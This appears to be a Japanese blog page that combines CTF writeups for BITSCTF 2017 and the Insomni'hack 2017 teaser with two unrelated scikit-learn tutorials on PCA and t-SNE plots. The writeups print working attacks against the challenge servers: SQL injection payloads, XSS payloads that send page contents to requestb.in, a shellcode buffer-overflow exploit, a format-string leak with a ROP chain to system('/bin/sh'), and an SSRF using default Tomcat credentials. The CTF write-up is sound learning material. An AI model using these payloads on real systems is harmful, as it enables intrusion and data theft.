BITSCTF 2017 供養(Writeup)
BITSCTF 2017に参加。410ptで30位。
BotBot (Web 10)
/robots.txt
を見るとそれっぽいものがある。
Useragent * Disallow: /fl4g
/fl4g
にアクセスすると301になるが、/fl4g/
にしたところフラグが得られた。
$ curl -v http://botbot.bitsctf.bits-quark.org/fl4g * Trying 205.139.17.49... * Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0) > GET /fl4g HTTP/1.1 > Host: botbot.bitsctf.bits-quark.org > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 301 Moved Permanently < Server: nginx/1.10.0 (Ubuntu) < Date: Sun, 05 Feb 2017 01:28:52 GMT < Content-Type: text/html; charset=iso-8859-1 < Content-Length: 351 < Connection: keep-alive < Location: http://botbot.bitsctf.bits-quark.org/robot/fl4g/ < <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://botbot.bitsctf.bits-quark.org/robot/fl4g/">here</a>.</p> <hr> <address>Apache/2.4.10 (Debian) Server at botbot.bitsctf.bits-quark.org Port 80</address> </body></html> * Connection #0 to host botbot.bitsctf.bits-quark.org left intact $ curl -v http://botbot.bitsctf.bits-quark.org/fl4g/ * Trying 205.139.17.49... * Connected to botbot.bitsctf.bits-quark.org (205.139.17.49) port 80 (#0) > GET /fl4g/ HTTP/1.1 > Host: botbot.bitsctf.bits-quark.org > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.10.0 (Ubuntu) < Date: Sun, 05 Feb 2017 01:28:54 GMT < Content-Type: text/html; charset=UTF-8 < Content-Length: 41 < Connection: keep-alive < X-Powered-By: PHP/7.0.15 < * Connection #0 to host botbot.bitsctf.bits-quark.org left intact BITCTF{take_a_look_at_googles_robots_txt}
Batman vs Joker (Web 30)
ふつうのSQL injection問題。
' UNION SELECT table_name, column_name FROM information_schema.columns -- ' UNION SELECT flag, 1 FROM Joker --
BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}
Message the admin (Web 60)
My boss has created a website. I can send messages to him via a form on that website. He is always looking out for the messages that he receives.
XSS問題。 innerHTMLの先頭を見たところdata URIが延々と続いていたので、正規表現でフラグフォーマットにマッチする部分を抜き出した。
'"><img src=http://requestb.in/XXXXXXXX> '"><script>location.href="http://requestb.in/XXXXXXXX?x="+encodeURIComponent(document.body.innerHTML.slice(0,3000))</script> '"><script>location.href="http://requestb.in/XXXXXXXX?x="+document.body.innerHTML.match(/BITSCTF\{[^}]*\}/)[0]</script>
BITSCTF{hsr_1s_n0t_cr3ative}
Mission improbable (Rev 20)
与えられたテキストを適当にhex decodeしてstringsをかけると、フラグっぽいものが見つかる。
最後が変だが、}
に直すと通った。
import sys data = open('MissionImprobable.TEENSY31.hex').read() for line in data.splitlines(): s = line[7:] sys.stdout.write(s.decode('hex'))
$ python test.py | strings -n8 >F@&(F1F >F@&(F1F EF@%0F)F "The flag is BI TCTF{B4d_bad_U5BO echo "This m essage will selfL destruct in 5 s ,^t`abd4o fgen6-78' %&s3v.wx_DEFGHIJ KLMNOPQRSTUVWXYZ [\]/10cm5
BITCTF{B4d_bad_U5B}
Riskv and Reward (Rev 80)
RISC-VのELF。 16進ダンプを眺めると、dataセクションと思われる箇所に文字列と数値の配列がある。
$ xxd riskv_and_reward (snip) 00001040: 746a 6233 6373 4674 3072 7275 7472 685f tjb3csFt0rrutrh_ 00001050: 7769 7635 5f5f 6669 7d6b 5f31 6968 607b wiv5__fi}k_1ih`{ 00001060: 7849 6372 6873 6f79 426d 7977 3143 7954 xIcrhsoyBmyw1CyT 00001070: 3372 7678 5374 545f 6a71 3430 5f7a 7271 3rvxStT_jq40_zrq 00001080: 2800 0000 2100 0000 2f00 0000 3400 0000 (...!.../...4... 00001090: 2d00 0000 3600 0000 0600 0000 1f00 0000 -...6........... 000010a0: 2500 0000 3b00 0000 2900 0000 0300 0000 %...;...)....... 000010b0: 3700 0000 3e00 0000 1b00 0000 0500 0000 7...>........... 000010c0: 2200 0000 1300 0000 1400 0000 3a00 0000 "...........:... 000010d0: 3100 0000 3000 0000 1a00 0000 1000 0000 1...0........... 000010e0: 0800 0000 2300 0000 0700 0000 2400 0000 ....#.......$... 000010f0: 3c00 0000 2c00 0000 0000 0000 1800 0000 <...,........... 00001100: 4300 0000 0000 0000 0000 0000 0000 0000 C............... (snip)
数値の配列の並びで文字列から文字を抜き出してみるとフラグが得られた。
table = 'tjb3csFt0rrutrh_wiv5__fi}k_1ih`{xIcrhsoyBmyw1CyT3rvxStT_jq40_zrq' ary = [0x28, 0x21, 0x2f, 0x34, 0x2d, 0x36, 0x06, 0x1f, 0x25, 0x3b, 0x29, 0x03, 0x37, 0x3e, 0x1b, 0x05, 0x22, 0x13, 0x14, 0x3a, 0x31, 0x30, 0x1a, 0x10, 0x08, 0x23, 0x07, 0x24, 0x3c, 0x2c, 0x00, 0x18] s = '' for x in ary: s += table[x] print s
$ python test.py BITSCTF{s0m3_r1sc5_4r3_w0rth_1t}
Labour (Misc 20)
複数の緯度経度情報を含むGPXファイルが与えられる。 緯度経度を国名に直して、頭文字を並べるとフラグが得られる。
23.71697, 89.45508 // Bandladesh 22.82885, 80.79786 // India 39.88276, 58.81642 // Turkmenistan 15.43674, 27.65039 // Sudan 12.69179, 17.50781 // Chad 14.91081, 100.47656 // Thailand 45.9267, 2.21484 // France 4.11852, 102.19922 // Malaysia 34.85709, 65.84765 // Afghanistan 28.89086, 68.30859 // Pakistan 39.20502, 31.92187 // Turkey 47.24344, 19.8457 // Hungary 25.30828, 29.84765 // Egypt 18.97119, -72.28521 // Haiti -13.61609, 17.68359 // Angola 33.84122, 102.23438 // China 46.89624, 69.53907 // Kazakhstan BITSCTF{MAP_THE_HACK}
Banana Princess (Crypto 20)
PDFファイルが与えられるが、先頭がおかしい。
$ xxd MinionQuest.pdf | head 00000000: 2543 5153 2d31 2e35 0d25 e2e3 cfd3 0d0a %CQS-1.5.%...... 00000010: 3420 3020 626f 770d 3c3c 2f59 7661 726e 4 0 bow.<</Yvarn 00000020: 6576 6d72 7120 312f 5920 3433 3031 3930 evmrq 1/Y 430190 00000030: 2f42 2036 2f52 2034 3034 3334 332f 4120 /B 6/R 404343/A 00000040: 312f 4720 3432 3939 3931 2f55 205b 2035 1/G 429991/U [ 5 00000050: 3736 2031 3535 5d3e 3e0d 7261 7162 6f77 76 155]>>.raqbow 00000060: 0d20 2020 2020 2020 2020 2020 2020 2020 . 00000070: 2020 0d0a 6b65 7273 0d0a 3420 3134 0d0a ..kers..4 14.. 00000080: 3030 3030 3030 3030 3136 2030 3030 3030 0000000016 00000 00000090: 2061 0d0a 3030 3030 3030 3037 3331 2030 a..0000000731 0
PDF -> CQS
の対応関係からROT13変換されていると推測し、逆変換したものを書き出す。
data = open('MinionQuest.pdf').read() with open('a.pdf', 'wb') as f: f.write(data.decode('rot13').encode('latin1'))
Adobe Readerで開くと一部に黒塗りがかかったページが表示される。 背景画像を選択した後右クリックから「画像をコピー」を選びペイント等に貼り付けると、黒塗りされていない画像が得られる。
BITSCTF{save_the_kid}
Beginner’s luck (Crypto 40)
与えられたコードを読むと、24バイトの鍵で繰り返しXORを取っていることがわかる。
ファイル名がBITSCTFfullhd.png
であることから1920x1080のPNG画像であると推測し、特定可能な先頭部分からXOR鍵を求めて復号する。
def xor(x, y): return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(x, y)) data = open('BITSCTFfullhd.png').read() # signature: 89504e470d0a1a0a # chunk length: 0000000d # chunk type: 49484452 (IHDR) # width: 00000780 (1920) # height: 00000438 (1080) p = '89504e470d0a1a0a0000000d494844520000078000000438'.decode('hex') c = data[:24] key = xor(c,p) def supa_encryption(s1, s2): res = [chr(0)]*24 for i in range(len(res)): q = ord(s1[i]) d = ord(s2[i]) k = q ^ d res[i] = chr(k) res = ''.join(res) return res enc_data = '' for i in range(0, len(data), 24): enc = supa_encryption(data[i:i+24], key) enc_data += enc with open('a.png', 'wb') as f: f.write(enc_data)
BITSCTF{p_en_gee}
Sherlock (Crypto 60)
与えられたテキストを見ると不自然な箇所でアルファベットが大文字になっている。 大文字部分のみを取り出し、適当に変換するとフラグが得られる。
$ grep -oP '[A-Z]' final.txt | tr -d '\n' ZEROONEZEROZEROZEROZEROONEZEROZEROONEZEROZEROONEZEROZEROONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROONEZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROONEZEROONEZEROONEZEROZEROZEROONEZEROZEROZEROONEONEZEROZEROONEONEONEONEZEROONEONEZEROONEONEZEROONEZEROZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROZEROONEZEROZEROZEROZEROONEONEZEROZEROONEONEZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROONEONEONEZEROZEROZEROZEROZEROONEONEZEROONEONEZEROZEROZEROZEROONEONEZEROONEZEROZEROZEROZEROONEONEZEROZEROZEROONEZEROONEONEZEROONEONEONEZEROZEROONEZEROONEONEONEONEONEZEROZEROONEONEZEROONEZEROONEZEROZEROONEONEZEROZEROZEROONEZEROZEROONEONEZEROONEONEONEZEROZEROONEONEZEROZEROONEONEZEROONEONEONEONEONEZEROONE $ grep -oP '[A-Z]' final.txt | tr -d '\n' | sed 's/ZERO/0/g;s/ONE/1/g' 010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101
s = '010000100100100101010100010100110100001101010100010001100111101101101000001100010110010000110011010111110011000101101110010111110111000001101100001101000011000101101110010111110011010100110001001101110011001101111101' s = "%x" % int(s, 2) print s.decode('hex')
$ python test.py BITSCTF{h1d3_1n_pl41n_5173}
Black Hole (Forensics 10)
stringsするとBase64っぽい文字列がある。
$ strings -n8 black_hole.jpg | tail %%u{5{?Tz9Fy _?=>KmGF fyJmUQ!s UX#0htK-?P l!]Y5-E$ 5 c2jwW-4 JeY[pVP= j3xKE}*y M&W]>[& UQklUQ1RGe1M1IDAwMTQrODF9
フラグフォーマットをBase64変換したものを見つつ、逆変換するとフラグが得られる。
$ echo BITSCTF | base64 QklUU0NURgo= $ echo QklUQ1RGe1M1IDAwMTQrODF9 | base64 -d BITCTF{S5 0014+81}
Woodstock-1 (Forensics 10)
stringsするとフラグが見える。
$ strings ws1_2.pcapng | head -n 20 Linux 4.8.0-37-generic Dumpcap (Wireshark) 2.2.4 (Git Rev Unknown from unknown) wlo1 port 1209 or port 3000 or port 3001 Linux 4.8.0-37-generic Ln$Lock EXTENDEDPROTOCOLXUa`cq;KGq_Xkk3=jfOHOL3B0xUnix Pk=PtokaX| $Supports UserCommand NoGetINFO NoHello UserIP2 TTHSearch ZPipe0 TLS|$Key p3/%DCN000%/ |$ValidateNick codelec| $Supports ZPipe0 NoHello UserCommand UserIP2|$GetPass| $MyPass BITSCTF{such_s3cure_much_w0w}| $Hello codelec|$LogedIn codelec| m $Version 1,0091|$GetNickList|$MyINFO $ALL codelec <EiskaltDC++ V:2.2.9,M:A,H:0/1/0,S:3>$ $100 KiB/s $$14$| f>$ZOn|x R|( u=Vj f{$ZOn|x ,Q/VHT aVFzFz
Command_Line (Pwn 20)
スタックバッファオーバーフロー脆弱性がある。 バッファのアドレスが出力される、かつNXが無効なので、シェルコードを置いてジャンプさせることでシェルが起動できる。
from minipwn import * #s = connect_process(['stdbuf', '-o0', './pwn1']) s = socket.create_connection(('bitsctf.bits-quark.org', 1330)) data = recvline(s) addr_buf = int(data, 16) print "[+] addr_buf = %x" % addr_buf buf = 'A' * 24 buf += p64(addr_buf+32) buf += shellcode['x64'] sendline(s, buf) interact(s)
$ python test.py [+] addr_buf = 7fffffffe620 id uid=1000(user1) gid=1000(user1) groups=1000(user1) ls flag nohup.out pwn1 cat flag BITSCTF{b451c_57r416h7_f0rw4rd_5h3llc0d1n6}
Random Game (Pwn 30)
srand(time(0))
で初期化された疑似乱数の出力を推測する問題。
同じ条件で乱数を出力するC言語コードを書き、同時刻に実行されるようにする。
#include <stdio.h> #include <stdlib.h> #include <time.h> int main() { srand(time(0)); for (int i=0; i<100; i++) { printf("%d\n", rand()&0xf); fflush(stdout); } return 0; }
from minipwn import * s = socket.create_connection(('bitsctf.bits-quark.org', 1337)) p = connect_process(['./a.out']) while True: line = recvline(p) msg = s.recv(8192) if not msg: break print "%r" % msg s.sendall(line) interact(s)
$ gcc test.c $ python test.py 'your number for 1 round : ' 'your number for 2 round : ' 'your number for 3 round : ' 'your number for 4 round : ' 'your number for 5 round : ' 'your number for 6 round : ' 'your number for 7 round : ' 'your number for 8 round : ' 'your number for 9 round : ' 'your number for 10 round : ' 'your number for 11 round : ' 'your number for 12 round : ' 'your number for 13 round : ' 'your number for 14 round : ' 'your number for 15 round : ' 'your number for 16 round : ' 'your number for 17 round : ' 'your number for 18 round : ' 'your number for 19 round : ' 'your number for 20 round : ' 'your number for 21 round : ' 'your number for 22 round : ' 'your number for 23 round : ' 'your number for 24 round : ' 'your number for 25 round : ' 'your number for 26 round : ' 'your number for 27 round : ' 'your number for 28 round : ' 'your number for 29 round : ' 'your number for 30 round : ' 'congrats you are rewarded with the flag BITSCTF{54m3_533d_54m3_53qu3nc\n' *** Connection closed by remote host ***
フラグが切れていてこのままでは通らなかったが、same_seed_same_sequence
のleetと推測して補完したところ通った。
BITSCTF{54m3_533d_54m3_53qu3nc3}
所感
解けなかった問題は以下。
- Showcasing the admin (Web 80)
- Good Samaritan (Misc 50)
- Enjoy the music (Misc 60)
- fanfie (Crypto 20)
- Enigma (Crypto 30)
- flagception (Forensics 30)
- Tom and Jerry (Forensics 50)
- Woodstock-2 (Forensics 55)
- Gh0st in the machine (Forensics 60)
- Remember me (Forensics 60)
関連リンク
scikit-learnでt-SNE散布図を描いてみる
「scikit-learnでPCA散布図を描いてみる」では、scikit-learnを使ってPCA散布図を描いた。 ここでは、scikit-learnを使って非線形次元削減手法のひとつt-SNEで次元削減を行い、散布図を描いてみる。
環境
「scikit-learnでPCA散布図を描いてみる」を参照。
MNISTデータセットとPCA散布図
MNISTデータセットは0から9の手書き数字を表す8x8グレイスケール画像のデータセットであり、irisに並んで有名なサンプルデータセットである。
このデータセットについてPCA散布図を描いてみると次のようになる。
%matplotlib inline import matplotlib.pyplot as plt from sklearn import datasets from sklearn.decomposition import PCA digits = datasets.load_digits() print digits.data.shape # (1797, 64) print digits.target.shape # (1797,) X_reduced = PCA(n_components=2).fit_transform(digits.data) print X_reduced.shape # (1797, 2) plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target) plt.colorbar() # <matplotlib.colorbar.Colorbar at 0x7f880818e6d0>
PCA散布図はデータのばらつきをプロットするにはよいが、次元削減により主成分ベクトルが作る線形空間での近似となるため、PCAが仮定している多次元正規分布から大きく離れた分布に従うデータでは高次元の特徴量が持っていた情報の多くが失われてしまう。 このようなデータに対しては非線形次元削減あるいは多様体学習と呼ばれる手法を用いることで、高次元空間における距離をもとにした次元削減を行うことができる。 いくつかの手法の概要をまとめると次のようになる。
- Locally Linear Embedding (LLE): データポイント近傍での線形性を仮定する
- Spectral Embedding (Laplacian Eigenmaps): 距離の近いデータポイント同士を繋ぐことで得られるグラフ構造を用いる
- Multi-dimensional Scaling (MDS): データポイント間の距離の大小をできるだけ保つ
- t-Distributed Stochastic Neighbor Embedding (t-SNE): データポイント間の類似度を表現する条件付き確率をできるだけ保つ
ここでは、2、3次元への次元削減において高いパフォーマンスを示すt-SNEを用いる。
MNISTデータセットのt-SNE散布図を描いてみる
t-SNEで2次元に次元削減して散布図を描いてみると次のようになる。
%matplotlib inline import matplotlib.pyplot as plt from sklearn import datasets from sklearn.manifold import TSNE digits = datasets.load_digits() print digits.data.shape # (1797, 64) print digits.target.shape # (1797,) X_reduced = TSNE(n_components=2, random_state=0).fit_transform(digits.data) print X_reduced.shape # (1797, 2) plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=digits.target) plt.colorbar() # <matplotlib.colorbar.Colorbar at 0x7ff21173ee90>
上の結果から、データポイント間の距離をもとに、64次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。
関連リンク
scikit-learnでPCA散布図を描いてみる
高次元の特徴量を持つデータの分布をおおまかに把握する方法として、PCA(主成分分析)で次元削減した後散布図を描く方法がある。 ここでは、Dockerを用いてデータ分析プラットフォームAnaconda環境を構築し、scikit-learnを使ってPCA散布図を描いてみる。
環境
Ubuntu 16.04.1 LTS 64bit版、Docker 1.12.5
$ uname -a Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ docker --version Docker version 1.12.5, build 7392c3b
DockerでAnaconda環境を構築する
Anacondaはデータ分析・機械学習に特化したPythonディストリビューションであり、Numpy、Scipy、Matplotlib、Sympy、scikit-learn、pandasなどのライブラリやブラウザ上から対話的なスクリプト実行、プロット表示が行えるJupyter Notebookが標準でインストールされている。 今回はscikit-learnとMatplotlibしか使わないが、Jupyter Notebookを利用することでプロット結果の確認が簡単になるため、Anacondaを利用することにする。
Anacondaは公式でDockerイメージを提供しており、これを利用すると簡単に環境を構築することができる。
- Anaconda and Docker - Better Together for Reproducible Data Science | Continuum
- continuumio/anaconda - Docker Hub
$ docker pull continuumio/anaconda Using default tag: latest latest: Pulling from continuumio/anaconda 8ad8b3f87b37: Pull complete fa2bdab78aa4: Pull complete 074a37ca9de6: Pull complete 751e84aa2169: Pull complete Digest: sha256:6e2b524bce61a32b1a85bb4fc88ba8f2079e3b41d8b324250a3be35c45d7d9ee Status: Downloaded newer image for continuumio/anaconda:latest $ docker run -i -t -p 8888:8888 continuumio/anaconda /bin/bash -c "/opt/conda/bin/conda install jupyter -y --quiet && mkdir /opt/notebooks && /opt/conda/bin/jupyter notebook --notebook-dir=/opt/notebooks --ip='*' --port=8888 --no-browser"
サーバが起動したら、ブラウザからhttp://[host ip address]:8888/
を開くことでJupyter Notebookにアクセスできる。
irisデータセットのPCA散布図を描いてみる
PCA(Principal Component Analysis; 主成分分析)は、高次元の特徴量を持つデータについて、元のデータのばらつきをよく表す低次元の合成変数を得る手法である。
ここでは分析対象として、有名なサンプルデータセットであるirisを用いることにする。
上の例を参考に、PCAで2次元に次元削減して散布図を描いてみると次のようになる。
%matplotlib inline import matplotlib.pyplot as plt from sklearn import datasets from sklearn.decomposition import PCA iris = datasets.load_iris() print iris.data.shape # (150, 4) print iris.target """ [0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2] """ X_reduced = PCA(n_components=2).fit_transform(iris.data) print X_reduced.shape # (150, 2) plt.scatter(X_reduced[:, 0], X_reduced[:, 1], c=iris.target) # <matplotlib.collections.PathCollection at 0x7f5d087be4d0>
上の結果から、4次元の特徴量を持つデータを2次元の散布図としてプロットできていることがわかる。
Insomni'hack teaser 2017 供養(Writeup)
Insomni'hack teaser 2017に参加。250ptで93位。
baby (Pwn 50)
NX、PIE、FullRELROが有効なx86-64 ELF。
# file baby baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped # gdb -q ./baby Reading symbols from ./baby...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : FULL
TCP 1337で接続を待ち受けるfork server型になっており、
- Stack buffer overflow
- Format string bug
- Heap overflow
が自由に起こせるようになっている。
Format string bugでcanaryや実行ファイル、libcのベースアドレスをリークした後、Stack buffer overflowからROPして解いた。 libcのベースアドレスはmain関数からのリターンアドレスを使って計算することができる。
from minipwn import * def stack_overflow(s, buf): print recvuntil(s, '> ') sendline(s, '1') print recvuntil(s, '? ') sendline(s, str(len(buf)+1)) sendline(s, buf) print recvline(s) def format_string(s, buf): print recvuntil(s, '> ') sendline(s, '2') print recvuntil(s, '> ') sendline(s, buf) data = recvline(s) print recvuntil(s, '> ') sendline(s, '') return data #s = socket.create_connection(('localhost', 1337)) s = socket.create_connection(('baby.teaser.insomnihack.ch', 1337)) data = format_string(s, '%138$p.%139$p.%140$p.%158$p') addrs = [int(x,16) for x in data.split('.')] canary, saved_ebp, bin_base, libc_base = addrs[0], addrs[1], addrs[2]-0x19cf, addrs[3]-0x20830 print "[+] canary = %x" % canary print "[+] saved_ebp = %x" % saved_ebp print "[+] bin_base = %x" % bin_base print "[+] libc_base = %x" % libc_base addr_bss = bin_base + 0x0000000000203010 addr_csu_init1 = bin_base + 0x1c7e addr_csu_init2 = bin_base + 0x1c68 addr_pop_rdi = bin_base + 0x1c8b got_recv = bin_base + 0x202eb8 #libc_system = libc_base + 0x0000000000045380 #addr_pop_rcx = libc_base + 0x00050233 libc_system = libc_base + 0x0000000000045390 addr_pop_rcx = libc_base + 0x000fc3e2 buf = 'A' * 0x408 buf += p64(canary) buf += 'BBBBBBBB' buf += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, got_recv, 16, addr_bss, 4) buf += p64(addr_pop_rcx) + p64(0) buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, 0, 0, 0, 0) buf += p64(addr_pop_rdi) + p64(addr_bss) buf += p64(libc_system) stack_overflow(s, buf) s.sendall('/bin/sh <&4 >&4\x00') print "[+] got a shell!" interact(s)
$ python test.py Welcome to baby's first pwn. Pick your favorite vuln : 1. Stack overflow 2. Format string 3. Heap Overflow 4. Exit Your choice > Simply type '\n' to return Your format > Your format > [+] canary = 7971cd723454900 [+] saved_ebp = 7ffe526fc540 [+] bin_base = 55f1410d6000 [+] libc_base = 7f129d29e000 Welcome to baby's first pwn. Pick your favorite vuln : 1. Stack overflow 2. Format string 3. Heap Overflow 4. Exit Your choice > How much bytes you want to send ? Good luck ! [+] got a shell! id uid=1001(baby) gid=1001(baby) groups=1001(baby) ls baby flag cat flag INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}
cryptoquizz (Misc/Crypto 50)
ランダムに与えられる暗号学者の生年を答える問題。 100回繋いでリストを作り、それぞれ対応するWikipediaのページから特定できるものを補完。 残りは人力でGoogle検索して埋めた。
from minipwn import * data = """Arjen K. Lenstra [1956] Lars Knudsen [1962] Xuejia Lai [1954] Daniel Bleichenbacher [1964] Douglas Stinson [1956] Claus-Peter Schnorr [1943] Niels Ferguson [1965] Yvo Desmedt [1956] Ron Rivest [1947] Antoine Joux [1967] Michael O. Rabin [1931] Jim Massey [1934] Markus Jakobsson [1968] Martin Hellman [1945] Alex Biryukov [1969] Yehuda Lindell [1971] Joan Daemen [1965] Horst Feistel [1915] Kaisa Nyberg [1948] Ralph Merkle [1952] Paul Kocher [1973] Paulo Barreto [1965] Whitfield Diffie [1944] Mitsuru Matsui [1961] David Naccache [1967] Phil Rogaway [1962] Eli Biham [1960] Adi Shamir [1952] Ronald Cramer [1968] Shai Halevi [1966] Donald Davies [1924] Moni Naor [1961] Jacques Stern [1949] Amos Fiat [1956] Victor S. Miller [1947] Paul van Oorschot [1962] Nigel P. Smart [1967] Serge Vaudenay [1968] Ross Anderson [1956] Dan Boneh [1969] Jacques Patarin [1965] Rafail Ostrovsky [1963] Daniel J. Bernstein [1971] Tatsuaki Okamoto [1952] """ birth_year = {} for line in data.splitlines(): name, birth = line[:-1].split(' [') birth_year[name] = birth s = socket.create_connection(('quizz.teaser.insomnihack.ch', 1031)) print s.recv(8192) while True: data = s.recv(8192) if not data: break m = re.search(r'~~ What is the birth year of (.+?) \?', data) if m: name = m.group(1) print name, birth_year[name] sendline(s, birth_year[name]) else: print data s.close()
$ python test.py ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~ Hello, young hacker. Are you ready to fight rogue machines ? ~~ ~~ Now, you'll have to prove us that you are a genuine ~~ ~~ cryptographer. ~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Douglas Stinson 1956 Whitfield Diffie 1944 Lars Knudsen 1962 Antoine Joux 1967 David Naccache 1967 Donald Davies 1924 Jacques Stern 1949 Serge Vaudenay 1968 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~ OK, young hacker. You are now considered to be a ~~ ~~ INS{GENUINE_CRYPTOGRAPHER_BUT_NOT_YET_A_PROVEN_SKILLED_ONE} ~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
bender_safe (Reverse 50)
MIPS ELF。
# file bender_safe bender_safe: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped
16文字のチャレンジ文字列から計算される8文字のレスポンスを答える問題。 QEMUベースの高機能トレーサーqiraでトレースしながら、一文字ずつ計算式をリバーシングした。
下の図は3文字目の判定に失敗したあたりを見ているところ。 左側のレジスタ値とメモリのスナップショットを見ながら、右側のグラフでどのように比較される値が計算されているかを調べる。
from minipwn import * #s = socket.create_connection(('localhost', 4000)) s = socket.create_connection(('bender_safe.teaser.insomnihack.ch', 31337)) print recvuntil(s, '\n') print recvuntil(s, '\n') otp = recvuntil(s, '\n') print otp table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\x00\x00\x00\x00-------------------------------' buf = otp[0x0] buf += otp[0xf] buf += chr(ord(otp[0x7]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x7]) < 0x41 else chr(ord(otp[0x7]) ^ 0x4b ^ 0x61 ^ 0xa) buf += table[table.index(otp[0x3]) - 0xa] if ord(otp[0x3]) < 0x41 else table[table.index(otp[0x3]) + 0xa] buf += table[table.index(otp[0x4]) - 0xa] if ord(otp[0x4]) < 0x41 else table[table.index(otp[0x4]) + 0xa] buf += table[abs(ord(otp[1])-ord(otp[2])) % 0x23] buf += table[abs(ord(otp[5])-ord(otp[6])) % 0x23] buf += chr(ord(otp[0x8]) ^ (-0x5a) ^ (-0x67) ^ 0x7f) if ord(otp[0x8]) < 0x41 else chr(ord(otp[0x8]) ^ 0x4b ^ 0x61 ^ 0xa) sendline(s, buf) interact(s)
$ python test.py Welcome to Bender's passwords storage service Here's your OTP challenge : 5FKU25OCL8GMEZZB _ ( ) H H _H_ .-'-.-'-. / \ | | | .-------'._ | / / '.' '. \ | \ \ @ @ / / | '---------' | _______| | .'-+-+-+| | '.-+-+-+| INS{Angr_is_great!_Oh_angr_is_great!_Angr_angr_angr} | """""" | '-.__ __.-' """ This is Bender's password vault storage I have 54043195528445952 bytes of memory for storage! Although 54043195528444928 of which is used to store my fembots videos...HiHiHi! Your passwords are safe with me meatbag! ------------------------------- | | | 1. View passwords | | 2. Enter new passwords | | 3. View admin password | | 4. Exit | | | ------------------------------- 4 *** Connection closed by remote host ***
angrを使ったほうがよかったかもしれない。
smarttomcat (Web 50)
パラメータで与えられたURLにアクセスするスクリプトが置かれたウェブサイト。 Tomcat Manager(http://localhost:8080/manager/html)にアクセスさせるようにすると、401 Unauthorizedエラーが返ってくる。 デフォルトの設定ファイルでコメントアウトされているアカウント情報でBasic認証の突破を試みると、フラグが得られた。
$ curl -v 'http://smarttomcat.teaser.insomnihack.ch/index.php' --data 'u=http%3A%2F%2Ftomcat%3Atomcat%40localhost%3A8080%2Fmanager%2Fhtml' * Trying 54.229.3.101... * Connected to smarttomcat.teaser.insomnihack.ch (54.229.3.101) port 80 (#0) > POST /index.php HTTP/1.1 > Host: smarttomcat.teaser.insomnihack.ch > User-Agent: curl/7.47.0 > Accept: */* > Content-Length: 66 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 66 out of 66 bytes < HTTP/1.1 200 OK < Date: Sun, 22 Jan 2017 08:41:27 GMT < Content-Type: text/html; charset=UTF-8 < Content-Length: 91 < Connection: keep-alive < Server: Apache/2.4.18 (Ubuntu) < Vary: User-Agent,Accept-Encoding < We won't give you the manager, but you can have the flag : INS{th1s_is_re4l_w0rld_pent3st} * Connection #0 to host smarttomcat.teaser.insomnihack.ch left intact
The Great Escape - part 1 (Forensics 50)
pcapng形式のパケットキャプチャファイルが与えられる。 Wiresharkで開くと、FTPでssc.keyというファイル名で秘密鍵が転送されていることがわかる。
